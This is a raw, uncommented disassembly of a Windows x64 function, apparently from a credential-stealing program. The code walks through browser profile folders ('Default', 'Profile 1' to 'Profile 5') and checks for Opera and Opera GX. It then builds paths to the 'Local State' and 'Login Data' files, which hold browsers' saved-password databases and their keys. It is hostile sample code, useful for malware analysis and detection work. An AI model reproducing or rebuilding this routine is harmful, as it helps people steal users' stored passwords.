mov rdx, qword [rbp + 0x670]
cmp rdx, 0xf
jbe 0x14000dbff
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dbfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dbfa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x668], xmm6
mov byte [rbp + 0x658], 0
mov rdx, qword [rbp + 0x6a8]
cmp rdx, 0xf
jbe 0x14000dc52
inc rdx
mov rcx, qword [rbp + 0x690]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dc4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dc4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x6a0], xmm6
mov byte [rbp + 0x690], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000dca0
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dc9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dc9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x620], xmm0
mov qword [rbp + 0x630], rax
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
mov r8d, 7
lea rdx, str.Default
lea rcx, [rbp + 0xf0]
call fcn.140019740
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm1
mov r8d, 9
lea rdx, str.Profile_1
lea rcx, [rbp + 0x110]
call fcn.140019740
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x140], xmm1
mov r8d, 9
lea rdx, str.Profile_2
lea rcx, [rbp + 0x130]
call fcn.140019740
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x160], xmm1
mov r8d, 9
lea rdx, str.Profile_3
lea rcx, [rbp + 0x150]
call fcn.140019740
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x180], xmm1
mov r8d, 9
lea rdx, str.Profile_4
lea rcx, [rbp + 0x170]
call fcn.140019740
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1a0], xmm1
mov r8d, 9
lea rdx, str.Profile_5
lea rcx, [rbp + 0x190]
call fcn.140019740
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x620], xmm0
mov qword [rbp + 0x630], r15
mov edx, 6
lea rcx, [rbp + 0x620]
call fcn.14001c840
lea rax, [rbp + 0x620]
mov qword [rbp + 0x5c0], rax
lea rdi, [rbp + 0xf0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e0], xmm0
mov rbx, qword [rbp + 0x620]
mov qword [rbp + 0x5e0], rbx
mov qword [rbp + 0x5e8], rbx
lea rax, [rbp + 0x620]
mov qword [rbp + 0x5f0], rax
nop
mov rdx, rdi
mov rcx, rbx
call fcn.140015080
add rbx, 0x20
mov qword [rbp + 0x5e8], rbx
add rdi, 0x20
lea rax, [rbp + 0x1b0]
cmp rdi, rax
jne 0x14000de30
mov rdx, rbx
mov rcx, rbx
call fcn.140019de0
mov qword [rbp + 0x628], rbx
lea r9, [fcn.14000c800]
mov edx, 0x20
mov r8d, 6
lea rcx, [rbp + 0xf0]
call fcn.140032cc4
mov rdi, qword [rbp + 0x6b8]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000e5cd
lea r14, [0x1400460c8]
lea rsi, [rbx + 0x30]
mov rcx, qword [rsi + 0x10]
mov rax, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14000deb5
mov rax, qword [rsi]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
call fcn.140031684
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x5c0], xmm0
lea r8, [rbp + 0x5c0]
mov edx, eax
lea rcx, [rbp - 0x78]
call fcn.140001d30
or r12d, 0x30
mov dword [rsp + 0x20], r12d
mov r8d, 3
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x1b0]
call fcn.140004040
movsd xmm0, qword [rax]
movsd qword [rbp + 0x70], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0x60], ecx
mov qword [rbp + 0x68], r14
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x5c0], xmm0
mov eax, dword [rbp + 0x70]
test eax, eax
je 0x14000df2e
cmp eax, 1
sete r14b
jmp 0x14000df39
mov r14b, 1
test ecx, ecx
jne 0x14000e6d0
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x14000df79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e626
call fcn.1400329e0
test r14b, r14b
jne 0x14000e5ba
mov r13, qword [rsi + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0xc
jb 0x14000e766
mov qword [rbp + 0x5c0], rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14000dfb8
mov rax, qword [rsi]
mov qword [rbp + 0x5c0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], r15
lea rax, [r13 + 0xc]
mov r14d, recv
lea r15, [rsp + 0x28]
cmp rax, r14
jbe 0x14000e062
mov r14, rax
or r14, 0xf
cmp r14, rcx
jbe 0x14000e001
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000e032
cmp r14, 0x16
mov ecx, socket
cmovb r14, rcx
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14000e01c
xor r15d, r15d
jmp 0x14000e05d
cmp rcx, 0x1000
jb 0x14000e051
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e760
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000e62d
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x14000e059
call fcn.140032c88
mov r15, rax
lea rax, [r13 + 0xc]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r14
mov r8, r13
mov rdx, qword [rbp + 0x5c0]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.Local_State]
movsd qword [r15 + r13], xmm0
mov eax, dword [0x1400385e0]
mov dword [r15 + r13 + 8], eax
mov byte [r15 + r13 + 0xc], 0
or r12d, 0x40
mov dword [rsp + 0x20], r12d
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x690]
call fcn.140006ba0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14000e0f5
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e0f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e634
call fcn.1400329e0
xor r13d, r13d
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], recv
mov byte [rsp + 0x28], r13b
mov r14, qword [rbp + 0x620]
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x5c0], rax
cmp r14, rax
je 0x14000e576
nop dword [rax]
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x6f0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14003b0d0]
mov qword [rbp + 0x6f0], rax
lea rax, [0x14003a730]
mov qword [rbp + 0x700], rax
lea rcx, [rbp + 0x788]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r12d, 8
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rdx, [rbp + 0x708]
lea rcx, [rbp + 0x6f0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x6f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x6ec], edx
lea rcx, [rbp + 0x708]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x708], rax
mov qword [rbp + 0x770], r13
mov dword [rbp + 0x778], r13d
mov rcx, qword [rbx + 0x20]
lea rax, [rbx + 0x10]
mov rdx, qword [rbx + 0x28]
cmp rdx, 0xf
jbe 0x14000e200
mov rax, qword [rbx + 0x10]
cmp rcx, 5
jne 0x14000e214
cmp dword [rax], 0x7265706f
jne 0x14000e214
cmp byte [rax + 4], 0x61
je 0x14000e237
lea rax, [rbx + 0x10]
cmp rdx, 0xf
jbe 0x14000e222
mov rax, qword [rbx + 0x10]
cmp rcx, 8
jne 0x14000e251
movabs rcx, 0x78672d617265706f
cmp qword [rax], rcx
jne 0x14000e251
mov r8, qword [rsi + 0x10]
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14000e248
mov rdx, qword [rsi]
lea rax, [rbp + 0x700]
jmp 0x14000e28e
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14000e25e
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rbp + 0x700]
call fcn.14001fa20
lea rdx, [0x1400385fc]
mov rcx, rax
call fcn.140018210
mov r8, qword [r14 + 0x10]
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000e28e
mov rdx, qword [r14]
mov rcx, rax
call fcn.14001fa20
mov rcx, rax
lea rdx, str.Login_Data
call fcn.140018210
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5f0], rax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], recv
mov byte [rsp + 0x48], al
or r12d, 4
mov dword [rsp + 0x20], r12d
movups xmmword [rsp + 0x68], xmm0
mov ecx, dword [rbp + 0x778]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000e318
mov rax, qword [rbp + 0x748]
mov r8, qword [rax]
test r8, r8
je 0x14000e318
mov rax, qword [rbp + 0x728]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x770]
cmovb r8, qword [rbp + 0x770]
sub r8, rdx
jmp 0x14000e352
test cl, 4
jne 0x14000e348
mov rax, qword [rbp + 0x740]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000e348
mov rax, qword [rbp + 0x720]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x758]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x14000e352
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x14000e361
lea rcx, [rsp + 0x48]
call fcn.140014ee0
and r12d, 0xfffffffb
or r12d, 2
mov dword [rsp + 0x20], r12d
lea r8, [rbp + 0x690]
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x5e0]
call fcn.140007b70
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000e3c4
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e3bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e63b
call fcn.1400329e0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], recv
mov byte [rsp + 0x48], 0
mov rcx, qword [rbp + 0x5e8]
sub rcx, qword [rbp + 0x5e0]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14000e500
lea rdx, [rbx + 0x10]
lea rcx, [rbp + 0x658]
call fcn.140015080
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x678], xmm0
mov qword [rbp + 0x688], r13
mov rcx, qword [rbp + 0x5e8]
sub rcx, qword [rbp + 0x5e0]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea r9, [rbp + 0x5e8]
lea r8, [rbp + 0x5e0]
lea rcx, [rbp + 0x678]
call fcn.140018ed0
nop
mov r13, qword [rbp - 0x30]
mov rdx, qword [r13 + 8]
lea r8, [rbp + 0x658]
cmp rdx, qword [r13 + 0x10]
je 0x14000e48e
call fcn.1400268c0
add qword [r13 + 8], 0x38
jmp 0x14000e497
mov rcx, r13
call fcn.1400202a0
nop
lea rcx, [rbp + 0x678]
call fcn.1400168b0
mov rdx, qword [rbp + 0x670]
cmp rdx, 0xf
jbe 0x14000e4e4
inc rdx
mov rcx, qword [rbp + 0x658]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e4df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e642
call fcn.1400329e0
xor r13d, r13d
mov qword [rbp + 0x668], r13
mov qword [rbp + 0x670], recv
mov byte [rbp + 0x658], r13b
lea rcx, [rbp + 0x5e0]
call fcn.1400168b0
nop
mov rax, qword [rbp + 0x6f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x6ec], edx
lea rcx, [rbp + 0x708]
call fcn.140013440
lea rcx, [rbp + 0x710]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x788]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
add r14, 0x20
cmp r14, qword [rbp + 0x5c0]
jne 0x14000e130
mov rdx, qword [rbp + 0x6a8]
cmp rdx, 0xf
jbe 0x14000e5b7
inc rdx
mov rcx, qword [rbp + 0x690]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e5b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e649
call fcn.1400329e0
xor r15d, r15d
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000de99
mov r13, qword [rbp + 0x638]
lea rcx, [rbp + 0x620]
call fcn.140016b10
nop
lea rcx, [rbp + 0x6b0]
call fcn.14000c6c0
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x14000e656
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e650
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e650
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400329e0
nop
mov rax, qword [rbp + 0x650]
cmp rax, 0xf
jbe 0x14000e697
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x14000e68f
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e68f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.1400329e0
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp + 0x7f0]
xor rcx, rsp
call fcn.1400329c0
lea r11, [rsp + 0x910]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x5c0]
lea rcx, str.exists
call fcn.1400030a0
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001190
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001230
nop
call fcn.140001190
int3
call fcn.140001230
int3